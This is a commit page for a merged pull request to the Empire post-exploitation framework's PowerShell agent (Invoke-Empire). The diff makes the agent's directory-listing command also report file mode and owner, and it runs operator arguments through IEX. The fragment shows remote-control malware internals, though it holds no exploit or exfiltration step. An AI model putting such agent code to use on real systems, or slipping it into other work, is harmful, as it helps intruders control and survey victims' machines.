Merge pull request #1071 from winnie22/psagent_dirinfo
More informative PS agent directory listingfix-for-1142
commit
f3a057a533
|
@ -281,11 +281,11 @@ function Invoke-Empire {
|
|||
switch -regex ($cmd) {
|
||||
'(ls|dir)' {
|
||||
if ($cmdargs.length -eq "") {
|
||||
$output = Get-ChildItem -force | select lastwritetime,length,name
|
||||
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
|
||||
}
|
||||
else {
|
||||
try{
|
||||
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
|
||||
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
|
||||
}
|
||||
catch [System.Management.Automation.ActionPreferenceStopException] {
|
||||
$output = "[!] Error: $_ (or cannot be accessed)."
|
||||
|
|
Loading…
Reference in New Issue